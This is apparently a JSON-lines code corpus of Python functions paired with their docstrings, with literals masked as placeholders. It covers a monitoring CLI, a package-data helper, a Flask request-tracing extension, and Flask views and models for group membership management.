{"signature": "def execute_from_command_line(argv=None):", "body": "parser = argparse.ArgumentParser(description=__doc__)<EOL>parser.add_argument('<STR_LIT>', default=MONITORS_DIR)<EOL>parser.add_argument('<STR_LIT>', default=ALERTS_DIR)<EOL>parser.add_argument('<STR_LIT>', default=SMA_INI_FILE)<EOL>parser.add_argument('<STR_LIT>', help='<STR_LIT>', action='<STR_LIT>', dest='<STR_LIT>',<EOL>const=logging.WARNING, default=logging.INFO)<EOL>parser.add_argument('<STR_LIT>', help='<STR_LIT>', action='<STR_LIT>', dest='<STR_LIT>',<EOL>const=logging.ERROR, default=logging.INFO)<EOL>parser.add_argument('<STR_LIT>', help='<STR_LIT>',<EOL>action='<STR_LIT>', dest='<STR_LIT>',<EOL>const=logging.DEBUG, default=logging.INFO)<EOL>parser.add_argument('<STR_LIT>', help='<STR_LIT>',<EOL>action='<STR_LIT>', dest='<STR_LIT>',<EOL>const=<NUM_LIT:5>, default=logging.INFO)<EOL>parser.sub = parser.add_subparsers()<EOL>parse_service = parser.sub.add_parser('<STR_LIT>', help='<STR_LIT>')<EOL>parse_service.set_defaults(which='<STR_LIT>')<EOL>parse_oneshot = parser.sub.add_parser('<STR_LIT>', help='<STR_LIT>')<EOL>parse_oneshot.set_defaults(which='<STR_LIT>')<EOL>parse_alerts = parser.sub.add_parser('<STR_LIT>', help='<STR_LIT>')<EOL>parse_alerts.set_defaults(which='<STR_LIT>')<EOL>parse_alerts.add_argument('<STR_LIT>', help = '<STR_LIT>', action='<STR_LIT:store_true>')<EOL>parse_alerts.add_argument('<STR_LIT>', nargs='<STR_LIT:?>', help='<STR_LIT>')<EOL>parse_results = parser.sub.add_parser('<STR_LIT>', help='<STR_LIT>')<EOL>parse_results.set_defaults(which='<STR_LIT>')<EOL>parser.set_default_subparser('<STR_LIT>')<EOL>args = parser.parse_args(argv[<NUM_LIT:1>:])<EOL>create_logger('<STR_LIT>', args.loglevel)<EOL>if not getattr(args, '<STR_LIT>', None) or args.which == '<STR_LIT>':<EOL><INDENT>sma = SMA(args.monitors_dir, args.alerts_dir, args.config)<EOL>sma.evaluate_and_alert()<EOL><DEDENT>elif args.which == '<STR_LIT>':<EOL><INDENT>sma = SMAService(args.monitors_dir, args.alerts_dir, args.config)<EOL>sma.start()<EOL><DEDENT>elif args.which == '<STR_LIT>' and args.test:<EOL><INDENT>sma = SMA(args.monitors_dir, args.alerts_dir, args.config)<EOL>sma.alerts.test()<EOL><DEDENT>elif args.which == '<STR_LIT>':<EOL><INDENT>print(SMA(args.monitors_dir, args.alerts_dir, args.config).results)<EOL><DEDENT>", "docstring": "A simple method that runs a ManagementUtility.", "id": "f7800:m2"}
{"signature": "def find_package_data(where='<STR_LIT:.>', package='<STR_LIT>',<EOL>exclude=standard_exclude,<EOL>exclude_directories=standard_exclude_directories,<EOL>only_in_packages=True,<EOL>show_ignored=False):", "body": "out = {}<EOL>stack = [(convert_path(where), '<STR_LIT>', package, only_in_packages)]<EOL>while stack:<EOL><INDENT>where, prefix, package, only_in_packages = stack.pop(<NUM_LIT:0>)<EOL>for name in os.listdir(where):<EOL><INDENT>fn = os.path.join(where, name)<EOL>if os.path.isdir(fn):<EOL><INDENT>bad_name = False<EOL>for pattern in exclude_directories:<EOL><INDENT>if (fnmatchcase(name, pattern)<EOL>or fn.lower() == pattern.lower()):<EOL><INDENT>bad_name = True<EOL>if show_ignored:<EOL><INDENT>sys.stderr.write(<EOL>\"<STR_LIT>\"<EOL>% (fn, pattern))<EOL><DEDENT>break<EOL><DEDENT><DEDENT>if bad_name:<EOL><INDENT>continue<EOL><DEDENT>if os.path.isfile(os.path.join(fn, '<STR_LIT>')):<EOL><INDENT>if not package:<EOL><INDENT>new_package = name<EOL><DEDENT>else:<EOL><INDENT>new_package = package + '<STR_LIT:.>' + name<EOL><DEDENT>stack.append((fn, '<STR_LIT>', new_package, False))<EOL><DEDENT>else:<EOL><INDENT>stack.append(<EOL>(fn, prefix + name + '<STR_LIT:/>', package, only_in_packages)<EOL>)<EOL><DEDENT><DEDENT>elif package or not only_in_packages:<EOL><INDENT>bad_name = False<EOL>for pattern in exclude:<EOL><INDENT>if (fnmatchcase(name, pattern)<EOL>or fn.lower() == pattern.lower()):<EOL><INDENT>bad_name = True<EOL>if show_ignored:<EOL><INDENT>sys.stderr.write(<EOL>\"<STR_LIT>\"<EOL>% (fn, pattern))<EOL><DEDENT>break<EOL><DEDENT><DEDENT>if bad_name:<EOL><INDENT>continue<EOL><DEDENT>out.setdefault(package, []).append(prefix + name)<EOL><DEDENT><DEDENT><DEDENT>return out<EOL>", "docstring": "Return a dictionary suitable for use in ``package_data``\nin a distutils ``setup.py`` file.\n\nThe dictionary looks like::\n\n    {'package': [files]}\n\nWhere ``files`` is a list of all the files in that package that\ndon't match anything in ``exclude``.\n\nIf ``only_in_packages`` is true, then top-level directories that\nare not packages won't be included (but directories under packages\nwill).\n\nDirectories matching any pattern in ``exclude_directories`` will\nbe ignored; by default directories with leading ``.``, ``CVS``,\nand ``_darcs`` will be ignored.\n\nIf ``show_ignored`` is true, then all the files that aren't\nincluded in package data are shown on stderr (for debugging\npurposes).\n\nNote patterns use wildcards, or can be exact paths (including\nleading ``./``), and all searching is case-insensitive.\n\nThis function is by Ian Bicking.", "id": "f7802:m2"}
{"signature": "def init_app(self, app):", "body": "app.config.setdefault(\"<STR_LIT>\", False)<EOL>if not hasattr(app, '<STR_LIT>'):<EOL><INDENT>app.extensions = {}<EOL><DEDENT>app.extensions['<STR_LIT>'] = self<EOL>app.before_request(self._before)<EOL>app.after_request(self._after)<EOL>", "docstring": "Setup before_request, after_request handlers for tracing.", "id": "f7803:c0:m1"}
{"signature": "def _before(self):", "body": "<EOL>if request.path in self.excluded_routes:<EOL><INDENT>request._tracy_exclude = True<EOL>return<EOL><DEDENT>request._tracy_start_time = monotonic()<EOL>client = request.headers.get(trace_header_client, None)<EOL>require_client = current_app.config.get(\"<STR_LIT>\", False)<EOL>if client is None and require_client:<EOL><INDENT>abort(<NUM_LIT>, \"<STR_LIT>\" % trace_header_client)<EOL><DEDENT>request._tracy_client = client<EOL>request._tracy_id = request.headers.get(trace_header_id, new_id())<EOL>", "docstring": "Records the starting time of this reqeust.", "id": "f7803:c0:m2"}
{"signature": "def _after(self, response):", "body": "<EOL>if getattr(request, '<STR_LIT>', False):<EOL><INDENT>return response<EOL><DEDENT>duration = None<EOL>if getattr(request, '<STR_LIT>', None):<EOL><INDENT>duration = monotonic() - request._tracy_start_time<EOL><DEDENT>trace_id = None<EOL>if getattr(request, '<STR_LIT>', None):<EOL><INDENT>trace_id = request._tracy_id<EOL>response.headers[trace_header_id] = trace_id<EOL><DEDENT>trace_client = None<EOL>if getattr(request, '<STR_LIT>', None):<EOL><INDENT>trace_client = request._tracy_client<EOL><DEDENT>d = {'<STR_LIT>': response.status_code,<EOL>'<STR_LIT:url>': request.base_url,<EOL>'<STR_LIT>': request.remote_addr,<EOL>'<STR_LIT>': trace_client,<EOL>'<STR_LIT>': trace_id,<EOL>'<STR_LIT>': duration}<EOL>logger.info(None, extra=d)<EOL>return response<EOL>", "docstring": "Calculates the request duration, and adds a transaction\n        ID to the header.", "id": "f7803:c0:m3"}
{"signature": "def get_group_name(id_group):", "body": "group = Group.query.get(id_group)<EOL>if group is not None:<EOL><INDENT>return group.name<EOL><DEDENT>", "docstring": "Used for breadcrumb dynamic_list_constructor.", "id": "f7809:m0"}
{"signature": "@blueprint.route('<STR_LIT>', methods=['<STR_LIT:GET>'])<EOL>@blueprint.route('<STR_LIT:/>', methods=['<STR_LIT:GET>'])<EOL>@register_menu(<EOL>blueprint, '<STR_LIT>',<EOL>_('<STR_LIT>', icon='<STR_LIT>'),<EOL>order=<NUM_LIT>,<EOL>active_when=lambda: request.endpoint.startswith(\"<STR_LIT>\")<EOL>)<EOL>@register_breadcrumb(blueprint, '<STR_LIT:.>', _('<STR_LIT>'))<EOL>@login_required<EOL>def index():", "body": "page = request.args.get('<STR_LIT>', <NUM_LIT:1>, type=int)<EOL>per_page = request.args.get('<STR_LIT>', <NUM_LIT:5>, type=int)<EOL>q = request.args.get('<STR_LIT:q>', '<STR_LIT>')<EOL>groups = Group.query_by_user(current_user, eager=True)<EOL>if q:<EOL><INDENT>groups = Group.search(groups, q)<EOL><DEDENT>groups = groups.paginate(page, per_page=per_page)<EOL>requests = Membership.query_requests(current_user).count()<EOL>invitations = Membership.query_invitations(current_user).count()<EOL>return render_template(<EOL>'<STR_LIT>',<EOL>groups=groups,<EOL>requests=requests,<EOL>invitations=invitations,<EOL>page=page,<EOL>per_page=per_page,<EOL>q=q<EOL>)<EOL>", "docstring": "List all user memberships.", "id": "f7809:m1"}
{"signature": "@blueprint.route('<STR_LIT>', methods=['<STR_LIT:GET>'])<EOL>@register_breadcrumb(blueprint, '<STR_LIT>', _('<STR_LIT>'))<EOL>@login_required<EOL>def requests():", "body": "page = request.args.get('<STR_LIT>', <NUM_LIT:1>, type=int)<EOL>per_page = request.args.get('<STR_LIT>', <NUM_LIT:5>, type=int)<EOL>memberships = Membership.query_requests(current_user, eager=True).all()<EOL>return render_template(<EOL>'<STR_LIT>',<EOL>memberships=memberships,<EOL>requests=True,<EOL>page=page,<EOL>per_page=per_page,<EOL>)<EOL>", "docstring": "List all pending memberships, listed only for group admins.", "id": "f7809:m2"}
{"signature": "@blueprint.route('<STR_LIT>', methods=['<STR_LIT:GET>'])<EOL>@register_breadcrumb(blueprint, '<STR_LIT>', _('<STR_LIT>'))<EOL>@login_required<EOL>def invitations():", "body": "page = request.args.get('<STR_LIT>', <NUM_LIT:1>, type=int)<EOL>per_page = request.args.get('<STR_LIT>', <NUM_LIT:5>, type=int)<EOL>memberships = Membership.query_invitations(current_user, eager=True).all()<EOL>return render_template(<EOL>'<STR_LIT>',<EOL>memberships=memberships,<EOL>page=page,<EOL>per_page=per_page,<EOL>)<EOL>", "docstring": "List all user pending memberships.", "id": "f7809:m3"}
{"signature": "@blueprint.route('<STR_LIT>', methods=['<STR_LIT:GET>', '<STR_LIT:POST>'])<EOL>@register_breadcrumb(blueprint, '<STR_LIT>', _('<STR_LIT>'))<EOL>@login_required<EOL>def new():", "body": "form = GroupForm(request.form)<EOL>if form.validate_on_submit():<EOL><INDENT>try:<EOL><INDENT>group = Group.create(admins=[current_user], **form.data)<EOL>flash(_('<STR_LIT>', name=group.name), '<STR_LIT:success>')<EOL>return redirect(url_for(\"<STR_LIT>\"))<EOL><DEDENT>except IntegrityError:<EOL><INDENT>flash(_('<STR_LIT>'), '<STR_LIT:error>')<EOL><DEDENT><DEDENT>return render_template(<EOL>\"<STR_LIT>\",<EOL>form=form,<EOL>)<EOL>", "docstring": "Create new group.", "id": "f7809:m4"}
{"signature": "@blueprint.route('<STR_LIT>', methods=['<STR_LIT:GET>', '<STR_LIT:POST>'])<EOL>@blueprint.route('<STR_LIT>', methods=['<STR_LIT:GET>', '<STR_LIT:POST>'])<EOL>@register_breadcrumb(<EOL>blueprint, '<STR_LIT>', _('<STR_LIT>'),<EOL>dynamic_list_constructor=lambda:<EOL>[{'<STR_LIT:text>': get_group_name(request.view_args['<STR_LIT>'])},<EOL>{'<STR_LIT:text>': _('<STR_LIT>')}]<EOL>)<EOL>@login_required<EOL>def manage(group_id):", "body": "group = Group.query.get_or_404(group_id)<EOL>form = GroupForm(request.form, obj=group)<EOL>if form.validate_on_submit():<EOL><INDENT>if group.can_edit(current_user):<EOL><INDENT>try:<EOL><INDENT>group.update(**form.data)<EOL>flash(_('<STR_LIT>', name=group.name),<EOL>'<STR_LIT:success>')<EOL><DEDENT>except Exception as e:<EOL><INDENT>flash(str(e), '<STR_LIT:error>')<EOL>return render_template(<EOL>\"<STR_LIT>\",<EOL>form=form,<EOL>group=group,<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>flash(<EOL>_(<EOL>'<STR_LIT>',<EOL>group_name=group.name<EOL>),<EOL>'<STR_LIT:error>'<EOL>)<EOL><DEDENT><DEDENT>return render_template(<EOL>\"<STR_LIT>\",<EOL>form=form,<EOL>group=group,<EOL>)<EOL>", "docstring": "Manage your group.", "id": "f7809:m5"}
{"signature": "@blueprint.route('<STR_LIT>', methods=['<STR_LIT:POST>'])<EOL>@login_required<EOL>def delete(group_id):", "body": "group = Group.query.get_or_404(group_id)<EOL>if group.can_edit(current_user):<EOL><INDENT>try:<EOL><INDENT>group.delete()<EOL><DEDENT>except Exception as e:<EOL><INDENT>flash(str(e), \"<STR_LIT:error>\")<EOL>return redirect(url_for(\"<STR_LIT>\"))<EOL><DEDENT>flash(_('<STR_LIT>',<EOL>group_name=group.name), '<STR_LIT:success>')<EOL>return redirect(url_for(\"<STR_LIT>\"))<EOL><DEDENT>flash(<EOL>_(<EOL>'<STR_LIT>',<EOL>group_name=group.name<EOL>),<EOL>'<STR_LIT:error>'<EOL>)<EOL>return redirect(url_for(\"<STR_LIT>\"))<EOL>", "docstring": "Delete group.", "id": "f7809:m6"}
{"signature": "@blueprint.route('<STR_LIT>', methods=['<STR_LIT:GET>', '<STR_LIT:POST>'])<EOL>@login_required<EOL>@register_breadcrumb(<EOL>blueprint, '<STR_LIT>', _('<STR_LIT>'),<EOL>dynamic_list_constructor=lambda:<EOL>[{'<STR_LIT:text>': get_group_name(request.view_args['<STR_LIT>'])},<EOL>{'<STR_LIT:text>': _('<STR_LIT>')}]<EOL>)<EOL>def members(group_id):", "body": "page = request.args.get('<STR_LIT>', <NUM_LIT:1>, type=int)<EOL>per_page = request.args.get('<STR_LIT>', <NUM_LIT:5>, type=int)<EOL>q = request.args.get('<STR_LIT:q>', '<STR_LIT>')<EOL>s = request.args.get('<STR_LIT:s>', '<STR_LIT>')<EOL>group = Group.query.get_or_404(group_id)<EOL>if group.can_see_members(current_user):<EOL><INDENT>members = Membership.query_by_group(group_id, with_invitations=True)<EOL>if q:<EOL><INDENT>members = Membership.search(members, q)<EOL><DEDENT>if s:<EOL><INDENT>members = Membership.order(members, Membership.state, s)<EOL><DEDENT>members = members.paginate(page, per_page=per_page)<EOL>return render_template(<EOL>\"<STR_LIT>\",<EOL>group=group,<EOL>members=members,<EOL>page=page,<EOL>per_page=per_page,<EOL>q=q,<EOL>s=s,<EOL>)<EOL><DEDENT>flash(<EOL>_(<EOL>'<STR_LIT>',<EOL>group_name=group.name<EOL>),<EOL>'<STR_LIT:error>'<EOL>)<EOL>return redirect(url_for('<STR_LIT>'))<EOL>", "docstring": "List user group members.", "id": "f7809:m7"}
{"signature": "@blueprint.route('<STR_LIT>', methods=['<STR_LIT:POST>'])<EOL>@login_required<EOL>def leave(group_id):", "body": "group = Group.query.get_or_404(group_id)<EOL>if group.can_leave(current_user):<EOL><INDENT>try:<EOL><INDENT>group.remove_member(current_user)<EOL><DEDENT>except Exception as e:<EOL><INDENT>flash(str(e), \"<STR_LIT:error>\")<EOL>return redirect(url_for('<STR_LIT>'))<EOL><DEDENT>flash(<EOL>_(<EOL>'<STR_LIT>',<EOL>group_name=group.name<EOL>),<EOL>'<STR_LIT:success>'<EOL>)<EOL>return redirect(url_for('<STR_LIT>'))<EOL><DEDENT>flash(<EOL>_(<EOL>'<STR_LIT>',<EOL>group_name=group.name<EOL>),<EOL>'<STR_LIT:error>'<EOL>)<EOL>return redirect(url_for('<STR_LIT>'))<EOL>", "docstring": "Leave group.", "id": "f7809:m8"}
{"signature": "@blueprint.route('<STR_LIT>',<EOL>methods=['<STR_LIT:POST>'])<EOL>@login_required<EOL>def approve(group_id, user_id):", "body": "membership = Membership.query.get_or_404((user_id, group_id))<EOL>group = membership.group<EOL>if group.can_edit(current_user):<EOL><INDENT>try:<EOL><INDENT>membership.accept()<EOL><DEDENT>except Exception as e:<EOL><INDENT>flash(str(e), '<STR_LIT:error>')<EOL>return redirect(url_for('<STR_LIT>', group_id=membership.group.id))<EOL><DEDENT>flash(_('<STR_LIT>',<EOL>user=membership.user.email,<EOL>name=membership.group.name), '<STR_LIT:success>')<EOL>return redirect(url_for('<STR_LIT>', group_id=membership.group.id))<EOL><DEDENT>flash(<EOL>_(<EOL>'<STR_LIT>',<EOL>group_name=group.name<EOL>),<EOL>'<STR_LIT:error>'<EOL>)<EOL>return redirect(url_for('<STR_LIT>'))<EOL>", "docstring": "Approve a user.", "id": "f7809:m9"}
{"signature": "@blueprint.route('<STR_LIT>',<EOL>methods=['<STR_LIT:POST>'])<EOL>@login_required<EOL>def remove(group_id, user_id):", "body": "group = Group.query.get_or_404(group_id)<EOL>user = User.query.get_or_404(user_id)<EOL>if group.can_edit(current_user):<EOL><INDENT>try:<EOL><INDENT>group.remove_member(user)<EOL><DEDENT>except Exception as e:<EOL><INDENT>flash(str(e), \"<STR_LIT:error>\")<EOL>return redirect(urlparse(request.referrer).path)<EOL><DEDENT>flash(_('<STR_LIT>',<EOL>user_email=user.email, group_name=group.name), '<STR_LIT:success>')<EOL>return redirect(urlparse(request.referrer).path)<EOL><DEDENT>flash(<EOL>_(<EOL>'<STR_LIT>',<EOL>group_name=group.name<EOL>),<EOL>'<STR_LIT:error>'<EOL>)<EOL>return redirect(url_for('<STR_LIT>'))<EOL>", "docstring": "Remove user from a group.", "id": "f7809:m10"}
{"signature": "@blueprint.route('<STR_LIT>',<EOL>methods=['<STR_LIT:POST>'])<EOL>@login_required<EOL>def accept(group_id):", "body": "membership = Membership.query.get_or_404((current_user.get_id(), group_id))<EOL>try:<EOL><INDENT>membership.accept()<EOL><DEDENT>except Exception as e:<EOL><INDENT>flash(str(e), '<STR_LIT:error>')<EOL>return redirect(url_for('<STR_LIT>', group_id=membership.group.id))<EOL><DEDENT>flash(_('<STR_LIT>',<EOL>user=membership.user.email,<EOL>name=membership.group.name), '<STR_LIT:success>')<EOL>return redirect(url_for('<STR_LIT>', group_id=membership.group.id))<EOL>", "docstring": "Accpet pending invitation.", "id": "f7809:m11"}
{"signature": "@blueprint.route('<STR_LIT>',<EOL>methods=['<STR_LIT:POST>'])<EOL>@login_required<EOL>def reject(group_id):", "body": "membership = Membership.query.get_or_404((current_user.get_id(), group_id))<EOL>user = membership.user<EOL>group = membership.group<EOL>try:<EOL><INDENT>membership.reject()<EOL><DEDENT>except Exception as e:<EOL><INDENT>flash(str(e), '<STR_LIT:error>')<EOL>return redirect(url_for('<STR_LIT>', group_id=membership.group.id))<EOL><DEDENT>flash(_('<STR_LIT>',<EOL>user=user.email,<EOL>name=group.name), '<STR_LIT:success>')<EOL>return redirect(url_for('<STR_LIT>', group_id=membership.group.id))<EOL>", "docstring": "Reject invitation.", "id": "f7809:m12"}
{"signature": "@blueprint.route('<STR_LIT>', methods=['<STR_LIT:GET>', '<STR_LIT:POST>'])<EOL>@login_required<EOL>@register_breadcrumb(blueprint, '<STR_LIT>', _('<STR_LIT>'))<EOL>def new_member(group_id):", "body": "group = Group.query.get_or_404(group_id)<EOL>if group.can_invite_others(current_user):<EOL><INDENT>form = NewMemberForm()<EOL>if form.validate_on_submit():<EOL><INDENT>emails = filter(None, form.data['<STR_LIT>'].splitlines())<EOL>group.invite_by_emails(emails)<EOL>flash(_('<STR_LIT>'), '<STR_LIT:success>')<EOL>return redirect(url_for('<STR_LIT>', group_id=group.id))<EOL><DEDENT>return render_template(<EOL>\"<STR_LIT>\",<EOL>group=group,<EOL>form=form<EOL>)<EOL><DEDENT>flash(<EOL>_(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>group_name=group.name<EOL>),<EOL>'<STR_LIT:error>'<EOL>)<EOL>return redirect(url_for('<STR_LIT>'))<EOL>", "docstring": "Add (invite) new member.", "id": "f7809:m13"}
{"signature": "def __init__(self, app=None):", "body": "if app:<EOL><INDENT>self.init_app(app)<EOL><DEDENT>", "docstring": "Extension initialization.", "id": "f7810:c0:m0"}
{"signature": "def init_app(self, app):", "body": "self.init_config(app)<EOL>app.register_blueprint(blueprint)<EOL>app.extensions['<STR_LIT>'] = self<EOL>", "docstring": "Flask application initialization.", "id": "f7810:c0:m1"}
{"signature": "def init_config(self, app):", "body": "app.config.setdefault(<EOL>\"<STR_LIT>\",<EOL>app.config.get(\"<STR_LIT>\",<EOL>\"<STR_LIT>\"))<EOL>", "docstring": "Initialize configuration.", "id": "f7810:c0:m2"}
{"signature": "def __init__(self):", "body": "self.validate_data = DataRequired()<EOL>self.validate_email = Email()<EOL>", "docstring": "Initalize all used validators.", "id": "f7811:c0:m0"}
{"signature": "def __call__(self, form, field):", "body": "self.validate_data(form, field)<EOL>emails_org = field.data<EOL>emails = filter(None, emails_org.splitlines())<EOL>for email in emails:<EOL><INDENT>try:<EOL><INDENT>field.data = email<EOL>self.validate_email(form, field)<EOL><DEDENT>except (ValidationError, StopValidation):<EOL><INDENT>raise ValidationError('<STR_LIT>' + email)<EOL><DEDENT>finally:<EOL><INDENT>field.data = emails_org<EOL><DEDENT><DEDENT>", "docstring": "Parse emails and run validators.", "id": "f7811:c0:m1"}
{"signature": "def __init__(self, descriptions=None, **kwargs):", "body": "assert descriptions is None or isinstance(descriptions, dict)<EOL>self.descriptions = descriptions<EOL>", "docstring": "Initialize widget with description.", "id": "f7813:c0:m0"}
{"signature": "def __call__(self, field, **kwargs):", "body": "html = \"<STR_LIT>\"<EOL>for subfield in field:<EOL><INDENT>label = subfield.label.text<EOL>if (field.default == subfield.data):<EOL><INDENT>subfield.checked = True<EOL><DEDENT>else:<EOL><INDENT>subfield.checked = False<EOL><DEDENT>description = self.descriptions.get(subfield.data, \"<STR_LIT>\")<EOL>html += ('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>') % (subfield(), label, description)<EOL><DEDENT>return HTMLString(html)<EOL>", "docstring": "Render radio group.", "id": "f7813:c0:m1"}
{"signature": "def resolve_admin_type(admin):", "body": "if admin is current_user or isinstance(admin, UserMixin):<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>return admin.__class__.__name__<EOL><DEDENT>", "docstring": "Determine admin type.", "id": "f7814:m0"}
{"signature": "@classmethod<EOL><INDENT>def describe(cls, policy):<DEDENT>", "body": "if cls.validate(policy):<EOL><INDENT>return cls.descriptions[policy]<EOL><DEDENT>", "docstring": "Policy description.", "id": "f7814:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def validate(cls, policy):<DEDENT>", "body": "return policy in [cls.OPEN, cls.APPROVAL, cls.CLOSED]<EOL>", "docstring": "Validate subscription policy value.", "id": "f7814:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def describe(cls, policy):<DEDENT>", "body": "if cls.validate(policy):<EOL><INDENT>return cls.descriptions[policy]<EOL><DEDENT>", "docstring": "Policy description.", "id": "f7814:c1:m0"}
{"signature": "@classmethod<EOL><INDENT>def validate(cls, policy):<DEDENT>", "body": "return policy in [cls.PUBLIC, cls.MEMBERS, cls.ADMINS]<EOL>", "docstring": "Validate privacy policy value.", "id": "f7814:c1:m1"}
{"signature": "@classmethod<EOL><INDENT>def validate(cls, state):<DEDENT>", "body": "return state in [cls.ACTIVE, cls.PENDING_ADMIN, cls.PENDING_USER]<EOL>", "docstring": "Validate state value.", "id": "f7814:c2:m0"}
{"signature": "def get_id(self):", "body": "return self.id<EOL>", "docstring": "Get group id.\n\n        :returns: the group id", "id": "f7814:c3:m0"}
{"signature": "@classmethod<EOL><INDENT>def create(cls, name=None, description='<STR_LIT>', privacy_policy=None,<EOL>subscription_policy=None, is_managed=False, admins=None):<DEDENT>", "body": "assert name<EOL>assert privacy_policy is None or PrivacyPolicy.validate(privacy_policy)<EOL>assert subscription_policy is None orSubscriptionPolicy.validate(subscription_policy)<EOL>assert admins is None or isinstance(admins, list)<EOL>with db.session.begin_nested():<EOL><INDENT>obj = cls(<EOL>name=name,<EOL>description=description,<EOL>privacy_policy=privacy_policy,<EOL>subscription_policy=subscription_policy,<EOL>is_managed=is_managed,<EOL>)<EOL>db.session.add(obj)<EOL>for a in admins or []:<EOL><INDENT>db.session.add(GroupAdmin(<EOL>group=obj, admin_id=a.get_id(),<EOL>admin_type=resolve_admin_type(a)))<EOL><DEDENT><DEDENT>return obj<EOL>", "docstring": "Create a new group.\n\n        :param name: Name of group. Required and must be unique.\n        :param description: Description of group. Default: ``''``\n        :param privacy_policy: PrivacyPolicy\n        :param subscription_policy: SubscriptionPolicy\n        :param admins: list of user and/or group objects. Default: ``[]``\n        :returns: Newly created group\n        :raises: IntegrityError: if group with given name already exists", "id": "f7814:c3:m1"}
{"signature": "def delete(self):", "body": "with db.session.begin_nested():<EOL><INDENT>Membership.query_by_group(self).delete()<EOL>GroupAdmin.query_by_group(self).delete()<EOL>GroupAdmin.query_by_admin(self).delete()<EOL>db.session.delete(self)<EOL><DEDENT>", "docstring": "Delete a group and all associated memberships.", "id": "f7814:c3:m2"}
{"signature": "def update(self, name=None, description=None, privacy_policy=None,<EOL>subscription_policy=None, is_managed=None):", "body": "with db.session.begin_nested():<EOL><INDENT>if name is not None:<EOL><INDENT>self.name = name<EOL><DEDENT>if description is not None:<EOL><INDENT>self.description = description<EOL><DEDENT>if (<EOL>privacy_policy is not None and<EOL>PrivacyPolicy.validate(privacy_policy)<EOL>):<EOL><INDENT>self.privacy_policy = privacy_policy<EOL><DEDENT>if (<EOL>subscription_policy is not None and<EOL>SubscriptionPolicy.validate(subscription_policy)<EOL>):<EOL><INDENT>self.subscription_policy = subscription_policy<EOL><DEDENT>if is_managed is not None:<EOL><INDENT>self.is_managed = is_managed<EOL><DEDENT>db.session.merge(self)<EOL><DEDENT>return self<EOL>", "docstring": "Update group.\n\n        :param name: Name of group.\n        :param description: Description of group.\n        :param privacy_policy: PrivacyPolicy\n        :param subscription_policy: SubscriptionPolicy\n        :returns: Updated group", "id": "f7814:c3:m3"}
{"signature": "@classmethod<EOL><INDENT>def get_by_name(cls, name):<DEDENT>", "body": "try:<EOL><INDENT>return cls.query.filter_by(name=name).one()<EOL><DEDENT>except NoResultFound:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Query group by a group name.\n\n        :param name: Name of a group to search for.\n        :returns: Group object or None.", "id": "f7814:c3:m4"}
{"signature": "@classmethod<EOL><INDENT>def query_by_names(cls, names):<DEDENT>", "body": "assert isinstance(names, list)<EOL>return cls.query.filter(cls.name.in_(names))<EOL>", "docstring": "Query group by a list of group names.\n\n        :param list names: List of the group names.\n        :returns: Query object.", "id": "f7814:c3:m5"}
{"signature": "@classmethod<EOL><INDENT>def query_by_user(cls, user, with_pending=False, eager=False):<DEDENT>", "body": "q1 = Group.query.join(Membership).filter_by(user_id=user.get_id())<EOL>if not with_pending:<EOL><INDENT>q1 = q1.filter_by(state=MembershipState.ACTIVE)<EOL><DEDENT>if eager:<EOL><INDENT>q1 = q1.options(joinedload(Group.members))<EOL><DEDENT>q2 = Group.query.join(GroupAdmin).filter_by(<EOL>admin_id=user.get_id(), admin_type=resolve_admin_type(user))<EOL>if eager:<EOL><INDENT>q2 = q2.options(joinedload(Group.members))<EOL><DEDENT>query = q1.union(q2).with_entities(Group.id)<EOL>return Group.query.filter(Group.id.in_(query))<EOL>", "docstring": "Query group by user.\n\n        :param user: User object.\n        :param bool with_pending: Whether to include pending users.\n        :param bool eager: Eagerly fetch group members.\n        :returns: Query object.", "id": "f7814:c3:m6"}
{"signature": "@classmethod<EOL><INDENT>def search(cls, query, q):<DEDENT>", "body": "return query.filter(Group.name.like('<STR_LIT>'.format(q)))<EOL>", "docstring": "Modify query as so include only specific group names.\n\n        :param query: Query object.\n        :param str q: Search string.\n        :returs: Query object.", "id": "f7814:c3:m7"}
{"signature": "def add_admin(self, admin):", "body": "return GroupAdmin.create(self, admin)<EOL>", "docstring": "Invite an admin to a group.\n\n        :param admin: Object to be added as an admin.\n        :returns: GroupAdmin object.", "id": "f7814:c3:m8"}
{"signature": "def remove_admin(self, admin):", "body": "return GroupAdmin.delete(self, admin)<EOL>", "docstring": "Remove an admin from group (independent of membership state).\n\n        :param admin: Admin to be removed from group.", "id": "f7814:c3:m9"}
{"signature": "def add_member(self, user, state=MembershipState.ACTIVE):", "body": "return Membership.create(self, user, state)<EOL>", "docstring": "Invite a user to a group.\n\n        :param user: User to be added as a group member.\n        :param state: MembershipState. Default: MembershipState.ACTIVE.\n        :returns: Membership object or None.", "id": "f7814:c3:m10"}
{"signature": "def remove_member(self, user):", "body": "return Membership.delete(self, user)<EOL>", "docstring": "Remove a user from a group (independent of their membership state).\n\n        :param user: User to be removed from group members.", "id": "f7814:c3:m11"}
{"signature": "def invite(self, user, admin=None):", "body": "if admin is None or self.is_admin(admin):<EOL><INDENT>return self.add_member(user, state=MembershipState.PENDING_USER)<EOL><DEDENT>return None<EOL>", "docstring": "Invite a user to a group (should be done by admins).\n\n        Wrapper around ``add_member()`` to ensure proper membership state.\n\n        :param user: User to invite.\n        :param admin: Admin doing the action. If provided, user is only invited\n            if the object is an admin for this group. Default: None.\n        :returns: Newly created Membership or None.", "id": "f7814:c3:m12"}
{"signature": "def invite_by_emails(self, emails):", "body": "assert emails is None or isinstance(emails, list)<EOL>results = []<EOL>for email in emails:<EOL><INDENT>try:<EOL><INDENT>user = User.query.filter_by(email=email).one()<EOL>results.append(self.invite(user))<EOL><DEDENT>except NoResultFound:<EOL><INDENT>results.append(None)<EOL><DEDENT><DEDENT>return results<EOL>", "docstring": "Invite users to a group by emails.\n\n        :param list emails: Emails of users that shall be invited.\n        :returns list: Newly created Memberships or Nones.", "id": "f7814:c3:m13"}
